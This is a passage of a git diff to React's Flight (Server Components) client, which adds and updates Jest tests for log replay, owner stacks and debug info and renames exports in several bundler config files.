     // so it's not thrown but the server log also shouldn't be replayed.
-    await ReactNoopFlightClient.read(transport);
+    await ReactNoopFlightClient.read(transport, {close: true});
 
     expect(mockConsoleLog).toHaveBeenCalledTimes(1);
     expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');
@@ -2657,10 +3647,105 @@ describe('ReactFlight', () => {
     expect(typeof loggedFn).toBe('function');
     expect(loggedFn).not.toBe(foo);
     expect(loggedFn.toString()).toBe(foo.toString());
+
+    const loggedMap = mockConsoleLog.mock.calls[0][1].map;
+    expect(loggedMap instanceof Map).toBe(true);
+    const loggedFn2 = loggedMap.get('foo');
+    expect(typeof loggedFn2).toBe('function');
+    expect(loggedFn2).not.toBe(foo);
+    expect(loggedFn2.toString()).toBe(foo.toString());
+    expect(loggedFn2).toBe(loggedFn);
+
+    const promise = mockConsoleLog.mock.calls[0][1].promise;
+    expect(promise).toBeInstanceOf(Promise);
+    expect(await promise).toBe('yo');
+
+    const infinitePromise = mockConsoleLog.mock.calls[0][1].infinitePromise;
+    expect(infinitePromise).toBeInstanceOf(Promise);
+    let resolved = false;
+    infinitePromise.then(
+      () => (resolved = true),
+      x => {
+        console.error(x);
+        resolved = true;
+      },
+    );
+    await 0;
+    await 0;
+    await 0;
+    // This should not reject upon aborting the stream.
+    expect(resolved).toBe(false);
+
+    const Class = mockConsoleLog.mock.calls[0][1].Class;
+    const instance = mockConsoleLog.mock.calls[0][1].instance;
+    expect(typeof Class).toBe('function');
+    expect(Class.prototype.constructor).toBe(Class);
+    expect(Class.name).toBe('MyClassName');
+    expect(instance instanceof Class).toBe(true);
+    expect(Object.getPrototypeOf(instance)).toBe(Class.prototype);
+    expect(instance.x).toBe(1);
+    expect(instance.hasOwnProperty('y')).toBe(true);
+    expect(instance.y).toBe(2); // Enumerable getter was reified
+    expect(instance.hasOwnProperty('z')).toBe(false);
+    expect(instance.z).toBe(6); // Not enumerable getter was transferred as part of the toString() of the class
+    expect(typeof instance.method).toBe('function'); // Methods are included only if they're part of the toString()
+
+    expect(ownerStacks).toEqual(['\n    in App (at **)']);
   });
 
-  it('uses the server component debug info as the element owner in DEV', async () => {
-    function Container({children}) {
+  // @gate __DEV__
+  it('replays logs with cyclic objects', async () => {
+    const cyclic = {cycle: null};
+    cyclic.cycle = cyclic;
+
+    function ServerComponent() {
+      console.log('hi', {cyclic});
+      return null;
+    }
+
+    function App() {
+      return ReactServer.createElement(ServerComponent);
+    }
+
+    // These tests are specifically testing console.log.
+    // Assign to `mockConsoleLog` so we can still inspect it when `console.log`
+    // is overridden by the test modules. The original function will be restored
+    // after this test finishes by `jest.restoreAllMocks()`.
+    const mockConsoleLog = spyOnDevAndProd(console, 'log').mockImplementation(
+      () => {},
+    );
+
+    // Reset the modules so that we get a new overridden console on top of the
+    // one installed by expect. This ensures that we still emit console.error
+    // calls.
+    jest.resetModules();
+    jest.mock('react', () => require('react/react.react-server'));
+    ReactServer = require('react');
+    ReactNoopFlightServer = require('react-noop-renderer/flight-server');
+    const transport = ReactNoopFlightServer.render({
+      root: ReactServer.createElement(App),
+    });
+
+    expect(mockConsoleLog).toHaveBeenCalledTimes(1);
+    expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');
+    expect(mockConsoleLog.mock.calls[0][1].cyclic).toBe(cyclic);
+    mockConsoleLog.mockClear();
+    mockConsoleLog.mockImplementation(() => {});
+
+    // The error should not actually get logged because we're not awaiting the root
+    // so it's not thrown but the server log also shouldn't be replayed.
+    await ReactNoopFlightClient.read(transport);
+
+    expect(mockConsoleLog).toHaveBeenCalledTimes(1);
+    expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');
+    const cyclic2 = mockConsoleLog.mock.calls[0][1].cyclic;
+    expect(cyclic2).not.toBe(cyclic); // Was serialized and therefore cloned
+    expect(cyclic2.cycle).toBe(cyclic2);
+  });
+
+  // @gate !__DEV__ || enableComponentPerformanceTrack
+  it('uses the server component debug info as the element owner in DEV', async () => {
+    function Container({children}) {
       return children;
     }
 
@@ -2688,34 +3773,619 @@ describe('ReactFlight', () => {
         const greetInfo = {
           name: 'Greeting',
           env: 'Server',
-          owner: null,
-          stack: gate(flag => flag.enableOwnerStacks)
-            ? '    in Object.<anonymous> (at **)'
-            : undefined,
+          key: null,
+          stack: '    in Object.<anonymous> (at **)',
+          props: {
+            firstName: 'Seb',
+          },
         };
         expect(getDebugInfo(greeting)).toEqual([
+          {time: 12},
           greetInfo,
+          {time: 13},
           {
             name: 'Container',
             env: 'Server',
+            key: null,
             owner: greetInfo,
-            stack: gate(flag => flag.enableOwnerStacks)
-              ? '    in Greeting (at **)'
-              : undefined,
+            stack: '    in Greeting (at **)',
+            props: {
+              children: expect.objectContaining({
+                type: 'span',
+                props: {
+                  children: ['Hello, ', 'Seb'],
+                },
+              }),
+            },
           },
+          {time: 14},
         ]);
         // The owner that created the span was the outer server component.
         // We expect the debug info to be referentially equal to the owner.
-        expect(greeting._owner).toBe(greeting._debugInfo[0]);
+        expect(greeting._owner).toBe(greeting._debugInfo[1]);
       } else {
         expect(greeting._debugInfo).toBe(undefined);
-        expect(greeting._owner).toBe(
-          gate(flags => flags.disableStringRefs) ? undefined : null,
-        );
+        expect(greeting._owner).toBe(undefined);
       }
       ReactNoop.render(greeting);
     });
 
     expect(ReactNoop).toMatchRenderedOutput(<span>Hello, Seb</span>);
   });
+
+  // @gate __DEV__
+  it('can get the component owner stacks during rendering in dev', () => {
+    let stack;
+
+    function Foo() {
+      return ReactServer.createElement(Bar, null);
+    }
+    function Bar() {
+      return ReactServer.createElement(
+        'div',
+        null,
+        ReactServer.createElement(Baz, null),
+      );
+    }
+
+    function Baz() {
+      stack = ReactServer.captureOwnerStack();
+      return ReactServer.createElement('span', null, 'hi');
+    }
+    ReactNoopFlightServer.render(
+      ReactServer.createElement(
+        'div',
+        null,
+        ReactServer.createElement(Foo, null),
+      ),
+    );
+
+    expect(normalizeCodeLocInfo(stack)).toBe(
+      '\n    in Bar (at **)' + '\n    in Foo (at **)',
+    );
+  });
+
+  // @gate __DEV__
+  it('can track owner for a flight response created in another render', async () => {
+    jest.resetModules();
+    jest.mock('react', () => ReactServer);
+    // For this to work the Flight Client needs to be the react-server version.
+    const ReactNoopFlightClienOnTheServer = require('react-noop-renderer/flight-client');
+    jest.resetModules();
+    jest.mock('react', () => React);
+
+    let stack;
+
+    function Component() {
+      stack = ReactServer.captureOwnerStack();
+      return ReactServer.createElement('span', null, 'hi');
+    }
+
+    const ClientComponent = clientReference(Component);
+
+    function ThirdPartyComponent() {
+      return ReactServer.createElement(ClientComponent);
+    }
+
+    // This is rendered outside the render to ensure we don't inherit anything accidental
+    // by being in the same environment which would make it seem like it works when it doesn't.
+    const thirdPartyTransport = ReactNoopFlightServer.render(
+      {children: ReactServer.createElement(ThirdPartyComponent)},
+      {
+        environmentName: 'third-party',
+      },
+    );
+
+    async function fetchThirdParty() {
+      return ReactNoopFlightClienOnTheServer.read(thirdPartyTransport);
+    }
+
+    async function FirstPartyComponent() {
+      // This component fetches from a third party
+      const thirdParty = await fetchThirdParty();
+      return thirdParty.children;
+    }
+    function App() {
+      return ReactServer.createElement(FirstPartyComponent);
+    }
+
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(App),
+    );
+
+    await act(async () => {
+      const root = await ReactNoopFlightClient.read(transport);
+      ReactNoop.render(root);
+    });
+
+    expect(normalizeCodeLocInfo(stack)).toBe(
+      '\n    in ThirdPartyComponent (at **)' +
+        '\n    in createResponse (at **)' + // These two internal frames should
+        '\n    in read (at **)' + // ideally not be included.
+        '\n    in fetchThirdParty (at **)' +
+        '\n    in FirstPartyComponent (at **)' +
+        '\n    in App (at **)',
+    );
+  });
+
+  // @gate __DEV__
+  it('can get the component owner stacks for onError in dev', async () => {
+    const thrownError = new Error('hi');
+    let caughtError;
+    let ownerStack;
+
+    function Foo() {
+      return ReactServer.createElement(Bar, null);
+    }
+    function Bar() {
+      return ReactServer.createElement(
+        'div',
+        null,
+        ReactServer.createElement(Baz, null),
+      );
+    }
+    function Baz() {
+      throw thrownError;
+    }
+
+    ReactNoopFlightServer.render(
+      ReactServer.createElement(
+        'div',
+        null,
+        ReactServer.createElement(Foo, null),
+      ),
+      {
+        onError(error, errorInfo) {
+          caughtError = error;
+          ownerStack = ReactServer.captureOwnerStack
+            ? ReactServer.captureOwnerStack()
+            : null;
+        },
+      },
+    );
+
+    expect(caughtError).toBe(thrownError);
+    expect(normalizeCodeLocInfo(ownerStack)).toBe(
+      '\n    in Bar (at **)' + '\n    in Foo (at **)',
+    );
+  });
+
+  it('should include only one component stack in replayed logs (if DevTools or polyfill adds them)', () => {
+    class MyError extends Error {
+      toJSON() {
+        return 123;
+      }
+    }
+
+    function Foo() {
+      return ReactServer.createElement('div', null, [
+        'Womp womp: ',
+        new MyError('spaghetti'),
+      ]);
+    }
+
+    function Bar() {
+      const array = [];
+      // Trigger key warning
+      array.push(ReactServer.createElement(Foo));
+      return ReactServer.createElement('div', null, array);
+    }
+
+    function App() {
+      return ReactServer.createElement(Bar);
+    }
+
+    // While we're on the server we need to have the Server version active to track component stacks.
+    jest.resetModules();
+    jest.mock('react', () => ReactServer);
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(App),
+    );
+
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.' +
+        ' See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Bar (at **)\n' +
+        '    in App (at **)',
+      'Error objects cannot be rendered as text children. Try formatting it using toString().\n' +
+        '  <div>Womp womp: {Error}</div>\n' +
+        '                  ^^^^^^^\n' +
+        '    in Foo (at **)\n' +
+        '    in Bar (at **)\n' +
+        '    in App (at **)',
+    ]);
+
+    // Replay logs on the client
+    jest.resetModules();
+    jest.mock('react', () => React);
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.' +
+        ' See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Bar (at **)\n' +
+        '    in App (at **)',
+      'Error objects cannot be rendered as text children. Try formatting it using toString().\n' +
+        '  <div>Womp womp: {Error}</div>\n' +
+        '                  ^^^^^^^\n' +
+        '    in Foo (at **)\n' +
+        '    in Bar (at **)\n' +
+        '    in App (at **)',
+    ]);
+  });
+
+  it('can filter out stack frames of a serialized error in dev', async () => {
+    async function bar() {
+      throw new Error('my-error');
+    }
+
+    async function intermediate() {
+      await bar();
+    }
+
+    async function foo() {
+      await intermediate();
+    }
+
+    const rejectedPromise = foo();
+    const transport = ReactNoopFlightServer.render(
+      {model: rejectedPromise},
+      {
+        onError(x) {
+          return `digest("${x.message}")`;
+        },
+        filterStackFrame(url, functionName, lineNumber, columnNumber) {
+          return functionName !== 'intermediate';
+        },
+      },
+    );
+
+    let originalError;
+    try {
+      await rejectedPromise;
+    } catch (x) {
+      originalError = x;
+    }
+
+    const root = await ReactNoopFlightClient.read(transport);
+    let caughtError;
+    try {
+      await root.model;
+    } catch (x) {
+      caughtError = x;
+    }
+    if (__DEV__) {
+      expect(caughtError.message).toBe(originalError.message);
+      expect(normalizeCodeLocInfo(caughtError.stack)).toContain(
+        '\n    in bar (at **)' + '\n    in foo (at **)',
+      );
+    }
+    expect(normalizeCodeLocInfo(originalError.stack)).toContain(
+      '\n    in bar (at **)' +
+        '\n    in intermediate (at **)' +
+        '\n    in foo (at **)',
+    );
+    expect(caughtError.digest).toBe('digest("my-error")');
+  });
+
+  it('can transport function names in stackframes in dev even without eval', async () => {
+    function a() {
+      return b();
+    }
+    function b() {
+      return c();
+    }
+    function c() {
+      return new Error('boom');
+    }
+
+    // eslint-disable-next-line no-eval
+    const previousEval = globalThis.eval.bind(globalThis);
+    // eslint-disable-next-line no-eval
+    globalThis.eval = () => {
+      throw new Error('eval is disabled');
+    };
+
+    try {
+      const transport = ReactNoopFlightServer.render(
+        {model: a()},
+        {onError: () => 'digest'},
+      );
+
+      const root = await ReactNoopFlightClient.read(transport);
+      const receivedError = await root.model;
+
+      if (__DEV__) {
+        const normalizedErrorStack = normalizeCodeLocInfo(
+          receivedError.stack.split('\n').slice(0, 4).join('\n'),
+        );
+
+        expect(normalizedErrorStack).toEqual(
+          'Error: boom' +
+            '\n    in c (at **)' +
+            '\n    in b (at **)' +
+            '\n    in a (at **)',
+        );
+        assertConsoleErrorDev([
+          'eval() is not supported in this environment. ' +
+            'React requires eval() in development mode for various debugging features ' +
+            'like reconstructing callstacks from a different environment.\n' +
+            'React will never use eval() in production mode',
+        ]);
+      } else {
+        expect(receivedError.message).toEqual(
+          'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.',
+        );
+        expect(receivedError).not.toHaveProperty('digest');
+      }
+    } finally {
+      // eslint-disable-next-line no-eval
+      globalThis.eval = previousEval;
+    }
+  });
+
+  // @gate __DEV__  && enableComponentPerformanceTrack
+  it('can render deep but cut off JSX in debug info', async () => {
+    function createDeepJSX(n) {
+      if (n <= 0) {
+        return null;
+      }
+      return <div>{createDeepJSX(n - 1)}</div>;
+    }
+
+    function ServerComponent(props) {
+      return <div>not using props</div>;
+    }
+
+    const transport = ReactNoopFlightServer.render({
+      root: (
+        <ServerComponent>
+          {createDeepJSX(100) /* deper than objectLimit */}
+        </ServerComponent>
+      ),
+    });
+
+    await act(async () => {
+      const rootModel = await ReactNoopFlightClient.read(transport);
+      const root = rootModel.root;
+      const children = root._debugInfo[1].props.children;
+      expect(children.type).toBe('div');
+      expect(children.props.children.type).toBe('div');
+      ReactNoop.render(root);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(<div>not using props</div>);
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('can render deep but cut off Map/Set in debug info', async () => {
+    function createDeepMap(n) {
+      if (n <= 0) {
+        return null;
+      }
+      const map = new Map();
+      map.set('key', createDeepMap(n - 1));
+      return map;
+    }
+
+    function createDeepSet(n) {
+      if (n <= 0) {
+        return null;
+      }
+      const set = new Set();
+      set.add(createDeepSet(n - 1));
+      return set;
+    }
+
+    function ServerComponent(props) {
+      return <div>not using props</div>;
+    }
+
+    const transport = ReactNoopFlightServer.render({
+      set: (
+        <ServerComponent
+          set={createDeepSet(100) /* deper than objectLimit */}
+        />
+      ),
+      map: (
+        <ServerComponent
+          map={createDeepMap(100) /* deper than objectLimit */}
+        />
+      ),
+    });
+
+    await act(async () => {
+      const rootModel = await ReactNoopFlightClient.read(transport);
+      const set = rootModel.set._debugInfo[1].props.set;
+      const map = rootModel.map._debugInfo[1].props.map;
+      expect(set instanceof Set).toBe(true);
+      expect(set.size).toBe(1);
+      // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+      for (const entry of set) {
+        expect(entry instanceof Set).toBe(true);
+        break;
+      }
+
+      expect(map instanceof Map).toBe(true);
+      expect(map.size).toBe(1);
+      expect(map.get('key') instanceof Map).toBe(true);
+
+      ReactNoop.render(rootModel.set);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(<div>not using props</div>);
+  });
+
+  // @gate !__DEV__ || enableComponentPerformanceTrack
+  it('produces correct parent stacks', async () => {
+    function Container() {
+      return ReactServer.createElement('div', null);
+    }
+    function ContainerParent() {
+      return ReactServer.createElement(Container, null);
+    }
+    function App() {
+      return ReactServer.createElement(
+        'main',
+        null,
+        ReactServer.createElement(ContainerParent, null),
+      );
+    }
+
+    const transport = ReactNoopFlightServer.render({
+      root: ReactServer.createElement(App, null),
+    });
+
+    await act(async () => {
+      const {root} = await ReactNoopFlightClient.read(transport);
+
+      ReactNoop.render(root);
+
+      expect(root.type).toBe('main');
+      if (__DEV__) {
+        const div = root.props.children;
+        expect(getDebugInfo(div)).toEqual([
+          {
+            time: 14,
+          },
+          {
+            env: 'Server',
+            key: null,
+            name: 'ContainerParent',
+            owner: {
+              env: 'Server',
+              key: null,
+              name: 'App',
+              props: {},
+              stack: '    in Object.<anonymous> (at **)',
+            },
+            props: {},
+            stack: '    in App (at **)',
+          },
+          {
+            time: 15,
+          },
+          {
+            env: 'Server',
+            key: null,
+            name: 'Container',
+            owner: {
+              env: 'Server',
+              key: null,
+              name: 'ContainerParent',
+              owner: {
+                env: 'Server',
+                key: null,
+                name: 'App',
+                props: {},
+                stack: '    in Object.<anonymous> (at **)',
+              },
+              props: {},
+              stack: '    in App (at **)',
+            },
+            props: {},
+            stack: '    in ContainerParent (at **)',
+          },
+          {
+            time: 16,
+          },
+        ]);
+        expect(getDebugInfo(root)).toEqual([
+          {
+            time: 12,
+          },
+          {
+            env: 'Server',
+            key: null,
+            name: 'App',
+            props: {},
+            stack: '    in Object.<anonymous> (at **)',
+          },
+          {
+            time: 13,
+          },
+        ]);
+      } else {
+        expect(root._debugInfo).toBe(undefined);
+        expect(root._owner).toBe(undefined);
+      }
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <main>
+        <div />
+      </main>,
+    );
+  });
+
+  // @gate enableOptimisticKey
+  it('collapses optimistic keys to an optimistic key', async () => {
+    function Bar({text}) {
+      return <div />;
+    }
+    function Foo() {
+      return <Bar key={ReactServer.optimisticKey} />;
+    }
+    const transport = ReactNoopFlightServer.render({
+      element: <Foo key="Outer Key" />,
+    });
+    const model = await ReactNoopFlightClient.read(transport);
+    expect(model.element.key).toBe(React.optimisticKey);
+  });
+
+  it('can use a JSX element exported as a client reference in multiple server components', async () => {
+    const ClientReference = clientReference(React.createElement('span'));
+
+    function Foo() {
+      return ClientReference;
+    }
+
+    function Bar() {
+      return ClientReference;
+    }
+
+    function App() {
+      return ReactServer.createElement(
+        'div',
+        null,
+        ReactServer.createElement(Foo),
+        ReactServer.createElement(Bar),
+      );
+    }
+
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(App),
+    );
+
+    await act(async () => {
+      const result = await ReactNoopFlightClient.read(transport);
+      ReactNoop.render(result);
+
+      if (__DEV__) {
+        // TODO: Debug info is dropped for frozen elements (client-created JSX
+        // exported as a client reference in this case). Ideally we'd clone the
+        // element so that each context gets its own mutable copy with correct
+        // debug info. When fixed, foo should have Foo's debug info and bar should
+        // have Bar's debug info.
+        const [foo, bar] = result.props.children;
+        expect(getDebugInfo(foo)).toBe(null);
+        expect(getDebugInfo(bar)).toBe(null);
+      }
+    });
+
+    // TODO: With cloning, each context would get its own element copy, so this
+    // key warning should go away.
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the top-level render call using <div>. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in span (at **)',
+    ]);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <div>
+        <span />
+        <span />
+      </div>,
+    );
+  });
 });
diff --git a/packages/react-client/src/__tests__/ReactFlightDebugChannel-test.js b/packages/react-client/src/__tests__/ReactFlightDebugChannel-test.js
new file mode 100644
index 000000000000..6d6916926147
--- /dev/null
+++ b/packages/react-client/src/__tests__/ReactFlightDebugChannel-test.js
@@ -0,0 +1,106 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+'use strict';
+
+if (typeof Blob === 'undefined') {
+  global.Blob = require('buffer').Blob;
+}
+if (typeof File === 'undefined' || typeof FormData === 'undefined') {
+  global.File = require('undici').File;
+  global.FormData = require('undici').FormData;
+}
+
+let act;
+let React;
+let ReactNoop;
+let ReactNoopFlightServer;
+let ReactNoopFlightClient;
+let getDebugInfo;
+
+describe('ReactFlight', () => {
+  beforeEach(() => {
+    // Mock performance.now for timing tests
+    let time = 10;
+    const now = jest.fn().mockImplementation(() => {
+      return time++;
+    });
+    Object.defineProperty(performance, 'timeOrigin', {
+      value: time,
+      configurable: true,
+    });
+    Object.defineProperty(performance, 'now', {
+      value: now,
+      configurable: true,
+    });
+
+    jest.resetModules();
+    jest.mock('react', () => require('react/react.react-server'));
+    ReactNoopFlightServer = require('react-noop-renderer/flight-server');
+    // This stores the state so we need to preserve it
+    const flightModules = require('react-noop-renderer/flight-modules');
+    jest.resetModules();
+    __unmockReact();
+    jest.mock('react-noop-renderer/flight-modules', () => flightModules);
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    ReactNoopFlightClient = require('react-noop-renderer/flight-client');
+    act = require('internal-test-utils').act;
+
+    getDebugInfo = require('internal-test-utils').getDebugInfo.bind(null, {
+      useV8Stack: true,
+      ignoreRscStreamInfo: true,
+    });
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  // @gate __DEV__ && enableComponentPerformanceTrack
+  it('can render deep but cut off JSX in debug info', async () => {
+    function createDeepJSX(n) {
+      if (n <= 0) {
+        return null;
+      }
+      return <div>{createDeepJSX(n - 1)}</div>;
+    }
+
+    function ServerComponent(props) {
+      return <div>not using props</div>;
+    }
+
+    const debugChannel = {onMessage(message) {}};
+
+    const transport = ReactNoopFlightServer.render(
+      {
+        root: (
+          <ServerComponent>
+            {createDeepJSX(100) /* deper than objectLimit */}
+          </ServerComponent>
+        ),
+      },
+      {debugChannel},
+    );
+
+    await act(async () => {
+      const rootModel = await ReactNoopFlightClient.read(transport, {
+        debugChannel,
+      });
+      const root = rootModel.root;
+      const children = getDebugInfo(root)[1].props.children;
+      expect(children.type).toBe('div');
+      expect(children.props.children.type).toBe('div');
+      ReactNoop.render(root);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(<div>not using props</div>);
+  });
+});
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.custom.js b/packages/react-client/src/forks/ReactFlightClientConfig.custom.js
index 3add5988aab8..319f28b77856 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.custom.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.custom.js
@@ -26,7 +26,7 @@
 declare const $$$config: any;
 
 export opaque type ModuleLoading = mixed;
-export opaque type SSRModuleMap = mixed;
+export opaque type ServerConsumerModuleMap = mixed;
 export opaque type ServerManifest = mixed;
 export opaque type ServerReferenceId = string;
 export opaque type ClientReferenceMetadata = mixed;
@@ -35,6 +35,7 @@ export const resolveClientReference = $$$config.resolveClientReference;
 export const resolveServerReference = $$$config.resolveServerReference;
 export const preloadModule = $$$config.preloadModule;
 export const requireModule = $$$config.requireModule;
+export const getModuleDebugInfo = $$$config.getModuleDebugInfo;
 export const dispatchHint = $$$config.dispatchHint;
 export const prepareDestinationForModule =
   $$$config.prepareDestinationForModule;
@@ -42,10 +43,16 @@ export const usedWithSSR = true;
 
 export opaque type Source = mixed;
 
-export opaque type StringDecoder = mixed; // eslint-disable-line no-undef
+export opaque type StringDecoder = mixed;
 
 export const createStringDecoder = $$$config.createStringDecoder;
 export const readPartialStringChunk = $$$config.readPartialStringChunk;
 export const readFinalStringChunk = $$$config.readFinalStringChunk;
 
-export const printToConsole = $$$config.printToConsole;
+export const bindToConsole = $$$config.bindToConsole;
+
+export const rendererVersion = $$$config.rendererVersion;
+export const rendererPackageName = $$$config.rendererPackageName;
+
+export const checkEvalAvailabilityOnceDev =
+  $$$config.checkEvalAvailabilityOnceDev;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-esm.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-esm.js
index 87d87ea523e5..a428cb065d26 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-esm.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-esm.js
@@ -7,9 +7,13 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-esm';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigBrowser';
-export * from 'react-server-dom-esm/src/ReactFlightClientConfigBundlerESM';
-export * from 'react-server-dom-esm/src/ReactFlightClientConfigTargetESMBrowser';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+export * from 'react-client/src/ReactClientDebugConfigBrowser';
+export * from 'react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM';
+export * from 'react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMBrowser';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = false;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-parcel.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-parcel.js
new file mode 100644
index 000000000000..fc7ccce22c24
--- /dev/null
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-parcel.js
@@ -0,0 +1,19 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-parcel';
+
+export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+export * from 'react-client/src/ReactClientDebugConfigBrowser';
+export * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel';
+export * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelBrowser';
+export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
+export const usedWithSSR = false;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-turbopack.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-turbopack.js
index 97b4afd13a83..252cb61880ac 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-turbopack.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-turbopack.js
@@ -7,10 +7,14 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-turbopack';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigBrowser';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackBrowser';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackBrowser';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+export * from 'react-client/src/ReactClientDebugConfigBrowser';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackBrowser';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = false;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser.js
index 51c832bff43a..1d94b14f8d60 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-browser.js
@@ -7,10 +7,14 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-webpack';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigBrowser';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackBrowser';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackBrowser';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+export * from 'react-client/src/ReactClientDebugConfigBrowser';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackBrowser';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = false;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-bun.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-bun.js
index 50713ae8e8e6..07b49a2de518 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-bun.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-bun.js
@@ -7,13 +7,16 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-bun';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigPlain';
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
+export * from 'react-client/src/ReactClientDebugConfigPlain';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 
-export type Response = any;
 export opaque type ModuleLoading = mixed;
-export opaque type SSRModuleMap = mixed;
+export opaque type ServerConsumerModuleMap = mixed;
 export opaque type ServerManifest = mixed;
 export opaque type ServerReferenceId = string;
 export opaque type ClientReferenceMetadata = mixed;
@@ -22,5 +25,6 @@ export const resolveClientReference: any = null;
 export const resolveServerReference: any = null;
 export const preloadModule: any = null;
 export const requireModule: any = null;
+export const getModuleDebugInfo: any = null;
 export const prepareDestinationForModule: any = null;
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-parcel.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-parcel.js
new file mode 100644
index 000000000000..7b698b85c774
--- /dev/null
